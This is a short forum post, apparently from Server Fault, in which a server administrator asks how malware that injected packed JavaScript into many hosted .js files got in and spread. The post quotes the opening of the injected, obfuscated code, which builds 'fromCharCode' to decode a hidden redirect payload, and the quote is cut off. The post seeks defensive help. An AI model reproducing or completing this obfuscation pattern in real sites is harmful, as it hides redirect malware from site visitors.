Got a malware on my hosting provider which infect JavaScript files .. how do I find the entry point?

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http://serverfault.com – This morning some sites which are hosted on the server as me started triggering malware alerts and started to redirect traffic to external sites. I've found out that a line of packed javascript was added to many js files across the server. What the script does is pretty simple, but what I would like to know is if this malware is well known and how it infect servers and propagate. For the curious here's the javascript line in question: /*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):""; (HowTos)